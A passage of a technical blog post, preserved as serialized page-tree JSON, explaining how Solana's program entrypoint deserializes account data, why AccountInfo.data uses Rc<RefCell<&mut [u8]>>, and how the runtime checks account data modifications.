$",{"type":21,"tag":85,"props":15178,"children":15179},{"style":120},[15180],{"type":26,"value":15181},"process_instruction",{"type":21,"tag":85,"props":15183,"children":15184},{"style":114},[15185],{"type":26,"value":1439},{"type":21,"tag":85,"props":15187,"children":15188},{"style":169},[15189],{"type":26,"value":2238},{"type":21,"tag":85,"props":15191,"children":15192},{"style":120},[15193],{"type":26,"value":15084},{"type":21,"tag":85,"props":15195,"children":15196},{"style":114},[15197],{"type":26,"value":256},{"type":21,"tag":85,"props":15199,"children":15200},{"style":169},[15201],{"type":26,"value":2238},{"type":21,"tag":85,"props":15203,"children":15204},{"style":120},[15205],{"type":26,"value":15093},{"type":21,"tag":85,"props":15207,"children":15208},{"style":114},[15209],{"type":26,"value":256},{"type":21,"tag":85,"props":15211,"children":15212},{"style":169},[15213],{"type":26,"value":2238},{"type":21,"tag":85,"props":15215,"children":15216},{"style":120},[15217],{"type":26,"value":15102},{"type":21,"tag":85,"props":15219,"children":15220},{"style":114},[15221],{"type":26,"value":15222},") {\n",{"type":21,"tag":85,"props":15224,"children":15225},{"class":87,"line":501},[15226,15231,15236,15241,15245,15249,15253,15257,15261],{"type":21,"tag":85,"props":15227,"children":15228},{"style":108},[15229],{"type":26,"value":15230},"        Ok",{"type":21,"tag":85,"props":15232,"children":15233},{"style":114},[15234],{"type":26,"value":15235},"(()) ",{"type":21,"tag":85,"props":15237,"children":15238},{"style":169},[15239],{"type":26,"value":15240},"=>",{"type":21,"tag":85,"props":15242,"children":15243},{"style":169},[15244],{"type":26,"value":15176},{"type":21,"tag":85,"props":15246,"children":15247},{"style":102},[15248],{"type":26,"value":15132},{"type":21,"tag":85,"props":15250,"children":15251},{"style":169},[15252],{"type":26,"value":1087},{"type":21,"tag":85,"props":15254,"children":15255},{"style":114},[15256],{"type":26,"value":15141},{"type":21,"tag":85,"props":15258,"children":15259},{"style":169},[15260],{"type":26,"value":1087},{"type":21,"tag":85,"props":15262,"children":15263},{"style":114},[15264],{"type":26,"value":15265},"SUCCESS,\n",{"type":21,"tag":85,"props":15267,"children":15268},{"class":87,"line":697},[15269,15274,15278,15283,15287,15291,15296,15300,15305],{"type":21,"tag":85,"props":15270,"children":15271},{"style":108},[15272],{"type":26,"value":15273},"        Err",{"type":21,"tag":85,"props":15275,"children":15276},{"style":114},[15277],{"type":26,"value":1439},{"type":21,"tag":85,"props":15279,"children":15280},{"style":120},[15281],{"type":26,"value":15282},"error",{"type":21,"tag":85,"props":15284,"children":15285},{"style":114},[15286],{"type":26,"value":736},{"type":21,"tag":85,"props":15288,"children":15289},{"style":169},[15290],{"type":26,"value":15240},{"type":21,"tag":85,"props":15292,"children":15293},{"style":120},[15294],{"type":26,"value":15295}," error",{"type":21,"tag":85,"props":15297,"children":15298},{"style":169},[15299],{"type":26,"value":73},{"type":21,"tag":85,"props":15301,"children":15302},{"style":1021},[15303],{"type":26,"value":15304},"into",{"type":21,"tag":85,"props":15306,"children":15307},{"style":114},[15308],{"type":26,"value":4258},{"type":21,"tag":85,"props":15310,"children":15311},{"class":87,"line":706},[15312],{"type":21,"tag":85,"props":15313,"children":15314},{"style":114},[15315],{"type":26,"value":507},{"type":21,"tag":85,"props":15317,"children":15318},{"class":87,"line":1100},[15319],{"type":21,"tag":85,"props":15320,"children":15321},{"style":114},[15322],{"type":26,"value":2671},{"type":21,"tag":22,"props":15324,"children":15325},{},[15326,15328,15333,15335,15341,15343,15350,15352,15358,15360,15367],{"type":26,"value":15327},"What we see here is the contract's real entrypoint - it takes a ",{"type":21,"tag":66,"props":15329,"children":15331},{"className":15330},[],[15332],{"type":26,"value":4190},{"type":26,"value":15334}," buffer in from the loader, and calls ",{"type":21,"tag":66,"props":15336,"children":15338},{"className":15337},[],[15339],{"type":26,"value":15340},"solana_program::entrypoint::deserialize",{"type":26,"value":15342},", which then ",{"type":21,"tag":335,"props":15344,"children":15347},{"href":15345,"rel":15346},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[339],[15348],{"type":26,"value":15349},"parses out",{"type":26,"value":15351}," all the ",{"type":21,"tag":66,"props":15353,"children":15355},{"className":15354},[],[15356],{"type":26,"value":15357},"AccountInfo",{"type":26,"value":15359},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":21,"tag":335,"props":15361,"children":15364},{"href":15362,"rel":15363},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[339],[15365],{"type":26,"value":15366},"laid out",{"type":26,"value":172},{"type":21,"tag":75,"props":15369,"children":15371},{"className":77,"code":15370,"language":79,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[15372],{"type":21,"tag":66,"props":15373,"children":15374},{"__ignoreMap":7},[15375,15392,15472,15505,15512,15560,15605,15613,15637],{"type":21,"tag":85,"props":15376,"children":15377},{"class":87,"line":88},[15378,15383,15387],{"type":21,"tag":85,"props":15379,"children":15380},{"style":114},[15381],{"type":26,"value":15382},"#[allow(clippy",{"type":21,"tag":85,"props":15384,"children":15385},{"style":169},[15386],{"type":26,"value":1087},{"type":21,"tag":85,"props":15388,"children":15389},{"style":114},[15390],{"type":26,"value":15391},"cast_ptr_alignment)]\n",{"type":21,"tag":85,"props":15393,"children":15394},{"class":87,"line":98},[15395,15399,15404,15408,15412,15416,15420,15424,15428,15432,15436,15440,15444,15448,15452,15456,15460,15464,15468],{"type":21,"tag":85,"props":15396,"children":15397},{"style":102},[15398],{"type":26,"value":12204},{"type":21,"tag":85,"props":15400,"children":15401},{"style":120},[15402],{"type":26,"value":15403}," data_len",{"type":21,"tag":85,"props":15405,"children":15406},{"style":169},[15407],{"type":26,"value":1941},{"type":21,"tag":85,"props":15409,"children":15410},{"style":169},[15411],{"type":26,"value":10231},{"type":21,"tag":85,"props":15413,"children":15414},{"style":114},[15415],{"type":26,"value":1439},{"type":21,"tag":85,"props":15417,"children":15418},{"style":120},[15419],{"type":26,"value":2724},{"type":21,"tag":85,"props":15421,"children":15422},{"style":169},[15423],{"type":26,"value":73},{"type":21,"tag":85,"props":15425,"children":15426},{"style":1021},[15427],{"type":26,"value":10052},{"type":21,"tag":85,"props":15429,"children":15430},{"style":114},[15431],{"type":26,"value":1439},{"type":21,"tag":85,"props":15433,"children":15434},{"style":120},[15435],{"type":26,"value":14319},{"type":21,"tag":85,"props":15437,"children":15438},{"style":114},[15439],{"type":26,"value":736},{"type":21,"tag":85,"props":15441,"children":15442},{"style":102},[15443],{"type":26,"value":3209},{"type":21,"tag":85,"props":15445,"children":15446},{"style":169},[15447],{"type":26,"value":10231},{"type":21,"tag":85,"props":15449,"children":15450},{"style":102},[15451],{"type":26,"value":10069},{"type":21,"tag":85,"props":15453,"children":15454},{"style":108},[15455],{"type":26,"value":177},{"type":21,"tag":85,"props":15457,"children":15458},{"style":114},[15459],{"type":26,"value":736},{"type":21,"tag":85,"props":15461,"children":15462},{"style":102},[15463],{"type":26,"value":3209},{"type":21,"tag":85,"props":15465,"children":15466},{"style":108},[15467],{"type":26,"value":14149},{"type":21,"tag":85,"props":15469,"children":15470},{"style":114},[15471],{"type":26,"value":2535},{"type":21,"tag":85,"props":15473,"children":15474},{"class":87,"line":151},[15475,15479,15484,15489,15493,15497,15501],{"type":21,"tag":85,"props":15476,"children":15477},{"style":120},[15478],{"type":26,"value":14319},{"type":21,"tag":85,"props":15480,"children":15481},{"style":169},[15482],{"type":26,"value":15483}," +=",{"type":21,"tag":85,"props":15485,"children":15486},{"style":1021},[15487],{"type":26,"value":15488}," size_of",{"type":21,"tag":85,"props":15490,"children":15491},{"style":169},[15492],{"type":26,"value":1087},{"type":21,"tag":85,"props":15494,"children":15495},{"style":114},[15496],{"type":26,"value":117},{"type":21,"tag":85,"props":15498,"children":15499},{"style":108},[15500],{"type":26,"value":2396},{"type":21,"tag":85,"props":15502,"children":15503},{"style":114},[15504],{"type":26,"value":2809},{"type":21,"tag":85,"props":15506,"children":15507},{"class":87,"line":160},[15508],{"type":21,"tag":85,"props":15509,"children":15510},{"emptyLinePlaceholder":16},[15511],{"type":26,"value":703},{"type":21,"tag":85,"props":15513,"children":15514},{"class":87,"line":185},[15515,15519,15524,15528,15533,15537,15542,15547,15551,15555],{"type":21,"tag":85,"props":15516,"children":15517},{"style":102},[15518],{"type":26,"value":12204},{"type":21,"tag":85,"props":15520,"children":15521},{"style":120},[15522],{"type":26,"value":15523}," data",{"type":21,"tag":85,"props":15525,"children":15526},{"style":169},[15527],{"type":26,"value":1941},{"type":21,"tag":85,"props":15529,"children":15530},{"style":108},[15531],{"type":26,"value":15532}," Rc",{"type":21,"tag":85,"props":15534,"children":15535},{"style":169},[15536],{"type":26,"value":1087},{"type":21,"tag":85,"props":15538,"children":15539},{"style":1021},[15540],{"type":26,"value":15541},"new",{"type":21,"tag":85,"props":15543,"children":15544},{"style":114},[15545],{"type":26,"value":15546},"(RefCell",{"type":21,"tag":85,"props":15548,"children":15549},{"style":169},[15550],{"type":26,"value":1087},{"type":21,"tag":85,"props":15552,"children":15553},{"style":1021},[15554],{"type":26,"value":15541},{"type":21,"tag":85,"props":15556,"children":15557},{"style":114},[15558],{"type":26,"value":15559},"({\n",{"type":21,"tag":85,"props":15561,"children":15562},{"class":87,"line":501},[15563,15568,15572,15576,15580,15584,15588,15592,15597,15601],{"type":21,"tag":85,"props":15564,"children":15565},{"style":1021},[15566],{"type":26,"value":15567},"    from_raw_parts_mut",{"type":21,"tag":85,"props":15569,"children":15570},{"style":114},[15571],{"type":26,"value":1439},{"type":21,"tag":85,"props":15573,"children":15574},{"style":120},[15575],{"type":26,"value":2724},{"type":21,"tag":85,"props":15577,"children":15578},{"style":169},[15579],{"type":26,"value":73},{"type":21,"tag":85,"props":15581,"children":15582},{"style":1021},[15583],{"type":26,"value":10052},{"type":21,"tag":85,"props":15585,"children":15586},{"style":114},[15587],{"type":26,"value":1439},{"type":21,"tag":85,"props":15589,"children":15590},{"style":120},[15591],{"type":26,"value":14319},{"type":21,"tag":85,"props":15593,"children":15594},{"style":114},[15595],{"type":26,"value":15596},"), ",{"type":21,"tag":85,"props":15598,"children":15599},{"style":120},[15600],{"type":26,"value":14224},{"type":21,"tag":85,"props":15602,"children":15603},{"style":114},[15604],{"type":26,"value":2485},{"type":21,"tag":85,"props":15606,"children":15607},{"class":87,"line":697},[15608],{"type":21,"tag":85,"props":15609,"children":15610},{"style":114},[15611],{"type":26,"value":15612},"}));\n",{"type":21,"tag":85,"props":15614,"children":15615},{"class":87,"line":706},[15616,15620,15624,15628,15632],{"type":21,"tag":85,"props":15617,"children":15618},{"style":120},[15619],{"type":26,"value":14319},{"type":21,"tag":85,"props":15621,"children":15622},{"style":169},[15623],{"type":26,"value":15483},{"type":21,"tag":85,"props":15625,"children":15626},{"style":120},[15627],{"type":26,"value":15403},{"type":21,"tag":85,"props":15629,"children":15630},{"style":169},[15631],{"type":26,"value":3274},{"type":21,"tag":85,"props":15633,"children":15634},{"style":114},[15635],{"type":26,"value":15636}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":21,"tag":85,"props":15638,"children":15639},{"class":87,"line":1100},[15640,15644,15648,15652,15656,15660,15664,15668,15672,15676,15680,15685,15690],{"type":21,"tag":85,"props":15641,"children":15642},{"style":120},[15643],{"type":26,"value":14319},{"type":21,"tag":85,"props":15645,"children":15646},{"style":169},[15647],{"type":26,"value":15483},{"type":21,"tag":85,"props":15649,"children":15650},{"style":114},[15651],{"type":26,"value":717},{"type":21,"tag":85,"props":15653,"children":15654},{"style":120},[15655],{"type":26,"value":14319},{"type":21,"tag":85,"props":15657,"children":15658},{"style":102},[15659],{"type":26,"value":3195},{"type":21,"tag":85,"props":15661,"children":15662},{"style":169},[15663],{"type":26,"value":10231},{"type":21,"tag":85,"props":15665,"children":15666},{"style":102},[15667],{"type":26,"value":10069},{"type":21,"tag":85,"props":15669,"children":15670},{"style":108},[15671],{"type":26,"value":15052},{"type":21,"tag":85,"props":15673,"children":15674},{"style":114},[15675],{"type":26,"value":1900},{"type":21,"tag":85,"props":15677,"children":15678},{"style":169},[15679],{"type":26,"value":73},{"type":21,"tag":85,"props":15681,"children":15682},{"style":1021},[15683],{"type":26,"value":15684},"align_offset",{"type":21,"tag":85,"props":15686,"children":15687},{"style":114},[15688],{"type":26,"value":15689},"(BPF_ALIGN_OF_U128); ",{"type":21,"tag":85,"props":15691,"children":15692},{"style":92},[15693],{"type":26,"value":15694},"// padding\n",{"type":21,"tag":22,"props":15696,"children":15697},{},[15698,15700,15705,15707,15713,15715,15726,15728,15733,15735,15741,15743,15749,15751,15757],{"type":26,"value":15699},"In English, we have the length of the data, as a ",{"type":21,"tag":66,"props":15701,"children":15703},{"className":15702},[],[15704],{"type":26,"value":2396},{"type":26,"value":15706},", followed immediately by the data, and an additional ",{"type":21,"tag":66,"props":15708,"children":15710},{"className":15709},[],[15711],{"type":26,"value":15712},"MAX_PERMITTED_DATA_INCREASE",{"type":26,"value":15714}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":21,"tag":335,"props":15716,"children":15719},{"href":15717,"rel":15718},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[339],[15720],{"type":21,"tag":66,"props":15721,"children":15723},{"className":15722},[],[15724],{"type":26,"value":15725},"slice::from_raw_parts_mut",{"type":26,"value":15727},") - slices are how Rust represents a, well, ",{"type":21,"tag":39,"props":15729,"children":15730},{},[15731],{"type":26,"value":15732},"slice",{"type":26,"value":15734}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":21,"tag":66,"props":15736,"children":15738},{"className":15737},[],[15739],{"type":26,"value":15740},"Rc\u003CRefCell\u003CT>>",{"type":26,"value":15742},", giving us the unwieldy-looking type of ",{"type":21,"tag":66,"props":15744,"children":15746},{"className":15745},[],[15747],{"type":26,"value":15748},"AccountInfo.data",{"type":26,"value":15750},": ",{"type":21,"tag":66,"props":15752,"children":15754},{"className":15753},[],[15755],{"type":26,"value":15756},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":26,"value":73},{"type":21,"tag":22,"props":15759,"children":15760},{},[15761,15763,15770],{"type":26,"value":15762},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":21,"tag":335,"props":15764,"children":15767},{"href":15765,"rel":15766},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[339],[15768],{"type":26,"value":15769},"cloning the referenced account",{"type":26,"value":172},{"type":21,"tag":75,"props":15772,"children":15774},{"className":77,"code":15773,"language":79,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[15775],{"type":21,"tag":66,"props":15776,"children":15777},{"__ignoreMap":7},[15778,15786],{"type":21,"tag":85,"props":15779,"children":15780},{"class":87,"line":88},[15781],{"type":21,"tag":85,"props":15782,"children":15783},{"style":92},[15784],{"type":26,"value":15785},"// Duplicate account, clone the original\n",{"type":21,"tag":85,"props":15787,"children":15788},{"class":87,"line":98},[15789,15793,15797,15801,15805,15809,15813,15818,15822,15826,15831,15835,15840],{"type":21,"tag":85,"props":15790,"children":15791},{"style":120},[15792],{"type":26,"value":15093},{"type":21,"tag":85,"props":15794,"children":15795},{"style":169},[15796],{"type":26,"value":73},{"type":21,"tag":85,"props":15798,"children":15799},{"style":1021},[15800],{"type":26,"value":4577},{"type":21,"tag":85,"props":15802,"children":15803},{"style":114},[15804],{"type":26,"value":1439},{"type":21,"tag":85,"props":15806,"children":15807},{"style":120},[15808],{"type":26,"value":15093},{"type":21,"tag":85,"props":15810,"children":15811},{"style":114},[15812],{"type":26,"value":3016},{"type":21,"tag":85,"props":15814,"children":15815},{"style":120},[15816],{"type":26,"value":15817},"dup_info",{"type":21,"tag":85,"props":15819,"children":15820},{"style":102},[15821],{"type":26,"value":3195},{"type":21,"tag":85,"props":15823,"children":15824},{"style":108},[15825],{"type":26,"value":14149},{"type":21,"tag":85,"props":15827,"children":15828},{"style":114},[15829],{"type":26,"value":15830},"]",{"type":21,"tag":85,"props":15832,"children":15833},{"style":169},[15834],{"type":26,"value":73},{"type":21,"tag":85,"props":15836,"children":15837},{"style":1021},[15838],{"type":26,"value":15839},"clone",{"type":21,"tag":85,"props":15841,"children":15842},{"style":114},[15843],{"type":26,"value":15844},"());\n",{"type":21,"tag":22,"props":15846,"children":15847},{},[15848,15850,15855,15857,15862,15864,15869,15871,15876,15877,15883,15885,15890,15892,15904,15906,15911],{"type":26,"value":15849},"Since ",{"type":21,"tag":66,"props":15851,"children":15853},{"className":15852},[],[15854],{"type":26,"value":4469},{"type":26,"value":15856}," inside the ",{"type":21,"tag":66,"props":15858,"children":15860},{"className":15859},[],[15861],{"type":26,"value":15357},{"type":26,"value":15863}," is a ",{"type":21,"tag":66,"props":15865,"children":15867},{"className":15866},[],[15868],{"type":26,"value":15740},{"type":26,"value":15870},", where the ",{"type":21,"tag":66,"props":15872,"children":15874},{"className":15873},[],[15875],{"type":26,"value":308},{"type":26,"value":15863},{"type":21,"tag":66,"props":15878,"children":15880},{"className":15879},[],[15881],{"type":26,"value":15882},"&mut [u8]",{"type":26,"value":15884}," pointing at the actual data buffer, when we clone the ",{"type":21,"tag":66,"props":15886,"children":15888},{"className":15887},[],[15889],{"type":26,"value":15357},{"type":26,"value":15891},", we get a new reference",{"type":21,"tag":15893,"props":15894,"children":15895},"sup",{},[15896],{"type":21,"tag":335,"props":15897,"children":15902},{"href":15898,"ariaDescribedBy":15899,"dataFootnoteRef":7,"id":15901},"#user-content-fn-rc-refs",[15900],"footnote-label","user-content-fnref-rc-refs",[15903],{"type":26,"value":4779},{"type":26,"value":15905}," to the slice pointing at the ",{"type":21,"tag":39,"props":15907,"children":15908},{},[15909],{"type":26,"value":15910},"same",{"type":26,"value":15912}," data buffer.",{"type":21,"tag":22,"props":15914,"children":15915},{},[15916,15918,15924,15926,15932],{"type":26,"value":15917},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":21,"tag":66,"props":15919,"children":15921},{"className":15920},[],[15922],{"type":26,"value":15923},"RefCell",{"type":26,"value":15925}," to check the rules at runtime. (The ",{"type":21,"tag":66,"props":15927,"children":15929},{"className":15928},[],[15930],{"type":26,"value":15931},"lamports",{"type":26,"value":15933}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":21,"tag":22,"props":15935,"children":15936},{},[15937,15939,15945],{"type":26,"value":15938},"Changing the data of an account is done by simply writing to ",{"type":21,"tag":66,"props":15940,"children":15942},{"className":15941},[],[15943],{"type":26,"value":15944},"AccountInfo::data",{"type":26,"value":15946},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":21,"tag":22,"props":15948,"children":15949},{},[15950,15952,15959],{"type":26,"value":15951},"This is also where the ",{"type":21,"tag":335,"props":15953,"children":15956},{"href":15954,"rel":15955},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[339],[15957],{"type":26,"value":15958},"runtime validity checks",{"type":26,"value":15960}," are imposed.",{"type":21,"tag":75,"props":15962,"children":15964},{"className":77,"code":15963,"language":79,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[15965],{"type":21,"tag":66,"props":15966,"children":15967},{"__ignoreMap":7},[15968,15976,15984,15992,16034,16052,16081,16126,16133,16157,16192,16217,16249,16264,16296,16303],{"type":21,"tag":85,"props":15969,"children":15970},{"class":87,"line":88},[15971],{"type":21,"tag":85,"props":15972,"children":15973},{"style":92},[15974],{"type":26,"value":15975},"// Only the owner may change account data\n",{"type":21,"tag":85,"props":15977,"children":15978},{"class":87,"line":98},[15979],{"type":21,"tag":85,"props":15980,"children":15981},{"style":92},[15982],{"type":26,"value":15983},"//   and if the account is writable\n",{"type":21,"tag":85,"props":15985,"children":15986},{"class":87,"line":151},[15987],{"type":21,"tag":85,"props":15988,"children":15989},{"style":92},[15990],{"type":26,"value":15991},"//   and if the account is not executable\n",{"type":21,"tag":85,"props":15993,"children":15994},{"class":87,"line":160},[15995,16000,16004,16008,16012,16016,16021,16025,16030],{"type":21,"tag":85,"props":15996,"children":15997},{"style":2885},[15998],{"type":26,"value":15999},"if",{"type":21,"tag":85,"props":16001,"children":16002},{"style":169},[16003],{"type":26,"value":13281},{"type":21,"tag":85,"props":16005,"children":16006},{"style":114},[16007],{"type":26,"value":1439},{"type":21,"tag":85,"props":16009,"children":16010},{"style":120},[16011],{"type":26,"value":15084},{"type":21,"tag":85,"props":16013,"children":16014},{"style":169},[16015],{"type":26,"value":2282},{"type":21,"tag":85,"props":16017,"children":16018},{"style":120},[16019],{"type":26,"value":16020}," pre",{"type":21,"tag":85,"props":16022,"children":16023},{"style":169},[16024],{"type":26,"value":73},{"type":21,"tag":85,"props":16026,"children":16027},{"style":1021},[16028],{"type":26,"value":16029},"owner",{"type":21,"tag":85,"props":16031,"children":16032},{"style":114},[16033],{"type":26,"value":2086},{"type":21,"tag":85,"props":16035,"children":16036},{"class":87,"line":185},[16037,16042,16047],{"type":21,"tag":85,"props":16038,"children":16039},{"style":169},[16040],{"type":26,"value":16041},"    &&",{"type":21,"tag":85,"props":16043,"children":16044},{"style":120},[16045],{"type":26,"value":16046}," is_writable",{"type":21,"tag":85,"props":16048,"children":16049},{"style":92},[16050],{"type":26,"value":16051},"  // line coverage used to get branch coverage\n",{"type":21,"tag":85,"props":16053,"children":16054},{"class":87,"line":501},[16055,16059,16063,16067,16071,16076],{"type":21,"tag":85,"props":16056,"children":16057},{"style":169},[16058],{"type":26,"value":16041},{"type":21,"tag":85,"props":16060,"children":16061},{"style":169},[16062],{"type":26,"value":13281},{"type":21,"tag":85,"props":16064,"children":16065},{"style":120},[16066],{"type":26,"value":75},{"type":21,"tag":85,"props":16068,"children":16069},{"style":169},[16070],{"type":26,"value":73},{"type":21,"tag":85,"props":16072,"children":16073},{"style":1021},[16074],{"type":26,"value":16075},"executable",{"type":21,"tag":85,"props":16077,"children":16078},{"style":114},[16079],{"type":26,"value":16080},"())\n",{"type":21,"tag":85,"props":16082,"children":16083},{"class":87,"line":697},[16084,16088,16092,16096,16100,16104,16109,16114,16118,16122],{"type":21,"tag":85,"props":16085,"children":16086},{"style":169},[16087],{"type":26,"value":16041},{"type":21,"tag":85,"props":16089,"children":16090},{"style":120},[16091],{"type":26,"value":16020},{"type":21,"tag":85,"props":16093,"children":16094},{"style":169},[16095],{"type":26,"value":73},{"type":21,"tag":85,"props":16097,"children":16098},{"style":1021},[16099],{"type":26,"value":4469},{"type":21,"tag":85,"props":16101,"children":16102},{"style":114},[16103],{"type":26,"value":14461},{"type":21,"tag":85,"props":16105,"children":16106},{"style":169},[16107],{"type":26,"value":16108},"!=",{"type":21,"tag":85,"props":16110,"children":16111},{"style":120},[16112],{"type":26,"value":16113}," post",{"type":21,"tag":85,"props":16115,"children":16116},{"style":169},[16117],{"type":26,"value":73},{"type":21,"tag":85,"props":16119,"children":16120},{"style":1021},[16121],{"type":26,"value":4469},{"type":21,"tag":85,"props":16123,"children":16124},{"style":114},[16125],{"type":26,"value":2086},{"type":21,"tag":85,"props":16127,"children":16128},{"class":87,"line":706},[16129],{"type":21,"tag":85,"props":16130,"children":16131},{"style":114},[16132],{"type":26,"value":11296},{"type":21,"tag":85,"props":16134,"children":16135},{"class":87,"line":1100},[16136,16140,16144,16148,16152],{"type":21,"tag":85,"props":16137,"children":16138},{"style":2885},[16139],{"type":26,"value":12696},{"type":21,"tag":85,"props":16141,"children":16142},{"style":120},[16143],{"type":26,"value":16020},{"type":21,"tag":85,"props":16145,"children":16146},{"style":169},[16147],{"type":26,"value":73},{"type":21,"tag":85,"props":16149,"children":16150},{"style":1021},[16151],{"type":26,"value":16075},{"type":21,"tag":85,"props":16153,"children":16154},{"style":114},[16155],{"type":26,"value":16156},"() {\n",{"type":21,"tag":85,"props":16158,"children":16159},{"class":87,"line":1339},[16160,16165,16170,16174,16179,16183,16188],{"type":21,"tag":85,"props":16161,"children":16162},{"style":2885},[16163],{"type":26,"value":16164},"        return",{"type":21,"tag":85,"props":16166,"children":16167},{"style":108},[16168],{"type":26,"value":16169}," Err",{"type":21,"tag":85,"props":16171,"children":16172},{"style":114},[16173],{"type":26,"value":1439},{"type":21,"tag":85,"props":16175,"children":16176},{"style":108},[16177],{"type":26,"value":16178},"InstructionError",{"type":21,"tag":85,"props":16180,"children":16181},{"style":169},[16182],{"type":26,"value":1087},{"type":21,"tag":85,"props":16184,"children":16185},{"style":108},[16186],{"type":26,"value":16187},"ExecutableDataModified",{"type":21,"tag":85,"props":16189,"children":16190},{"style":114},[16191],{"type":26,"value":777},{"type":21,"tag":85,"props":16193,"children":16194},{"class":87,"line":1348},[16195,16200,16204,16209,16213],{"type":21,"tag":85,"props":16196,"children":16197},{"style":114},[16198],{"type":26,"value":16199},"    } ",{"type":21,"tag":85,"props":16201,"children":16202},{"style":2885},[16203],{"type":26,"value":4086},{"type":21,"tag":85,"props":16205,"children":16206},{"style":2885},[16207],{"type":26,"value":16208}," if",{"type":21,"tag":85,"props":16210,"children":16211},{"style":120},[16212],{"type":26,"value":16046},{"type":21,"tag":85,"props":16214,"children":16215},{"style":114},[16216],{"type":26,"value":148},{"type":21,"tag":85,"props":16218,"children":16219},{"class":87,"line":1386},[16220,16224,16228,16232,16236,16240,16245],{"type":21,"tag":85,"props":16221,"children":16222},{"style":2885},[16223],{"type":26,"value":16164},{"type":21,"tag":85,"props":16225,"children":16226},{"style":108},[16227],{"type":26,"value":16169},{"type":21,"tag":85,"props":16229,"children":16230},{"style":114},[16231],{"type":26,"value":1439},{"type":21,"tag":85,"props":16233,"children":16234},{"style":108},[16235],{"type":26,"value":16178},{"type":21,"tag":85,"props":16237,"children":16238},{"style":169},[16239],{"type":26,"value":1087},{"type":21,"tag":85,"props":16241,"children":16242},{"style":108},[16243],{"type":26,"value":16244},"ExternalAccountDataModified",{"type":21,"tag":85,"props":16246,"children":16247},{"style":114},[16248],{"type":26,"value":777},{"type":21,"tag":85,"props":16250,"children":16251},{"class":87,"line":1394},[16252,16256,16260],{"type":21,"tag":85,"props":16253,"children":16254},{"style":114},[16255],{"type":26,"value":16199},{"type":21,"tag":85,"props":16257,"children":16258},{"style":2885},[16259],{"type":26,"value":4086},{"type":21,"tag":85,"props":16261,"children":16262},{"style":114},[16263],{"type":26,"value":148},{"type":21,"tag":85,"props":16265,"children":16266},{"class":87,"line":1402},[16267,16271,16275,16279,16283,16287,16292],{"type":21,"tag":85,"props":16268,"children":16269},{"style":2885},[16270],{"type":26,"value":16164},{"type":21,"tag":85,"props":16272,"children":16273},{"style":108},[16274],{"type":26,"value":16169},{"type":21,"tag":85,"props":16276,"children":16277},{"style":114},[16278],{"type":26,"value":1439},{"type":21,"tag":85,"props":16280,"children":16281},{"style":108},[16282],{"type":26,"value":16178},{"type":21,"tag":85,"props":16284,"children":16285},{"style":169},[16286],{"type":26,"value":1087},{"type":21,"tag":85,"props":16288,"children":16289},{"style":108},[16290],{"type":26,"value":16291},"ReadonlyDataModified",{"type":21,"tag":85,"props":16293,"children":16294},{"style":114},[16295],{"type":26,"value":777},{"type":21,"tag":85,"props":16297,"children":16298},{"class":87,"line":3145},[16299],{"type":21,"tag":85,"props":16300,"children":16301},{"style":114},[16302],{"type":26,"value":507},{"type":21,"tag":85,"props":16304,"children":16305},{"class":87,"line":3246},[16306],{"type":21,"tag":85,"props":16307,"children":16308},{"style":114},[16309],{"type":26,"value":2671},{"type":21,"tag":10022,"props":16311,"children":16313},{"id":16312},"back-to-realloc",[16314,16316],{"type":26,"value":16315},"Back to ",{"type":21,"tag":66,"props":16317,"children":16319},{"className":16318},[],[16320],{"type":26,"value":14056},{"type":21,"tag":22,"props":16322,"children":16323},{},[16324],{"type":26,"value":16325},"As a reminder, this is what we were looking at before that detour:",{"type":21,"tag":75,"props":16327,"children":16328},{"className":77,"code":14809,"language":79,"meta":7,"style":7},[16329],{"type":21,"tag":66,"props":16330,"children":16331},{"__ignoreMap":7},[16332,16339,16426],{"type":21,"tag":85,"props":16333,"children":16334},{"class":87,"line":88},[16335],{"type":21,"tag":85,"props":16336,"children":16337},{"style":92},[16338],{"type":26,"value":14821},{"type":21,"tag":85,"props":16340,"children":16341},{"class":87,"line":98},[16342,16346,16350,16354,16358,16362,16366,16370,16374,16378,16382,16386,16390,16394,16398,16402,16406,16410,16414,16418,16422],{"type":21,"tag":85,"props":16343,"children":16344},{"style":102},[16345],{"type":26,"value":12204},{"type":21,"tag":85,"props":16347,"children":16348},{"style":120},[16349],{"type":26,"value":14275},{"type":21,"tag":85,"props":16351,"children":16352},{"style":169},[16353],{"type":26,"value":1941},{"type":21,"tag":85,"props":16355,"children":16356},{"style":102},[16357],{"type":26,"value":14215},{"type":21,"tag":85,"props":16359,"children":16360},{"style":169},[16361],{"type":26,"value":73},{"type":21,"tag":85,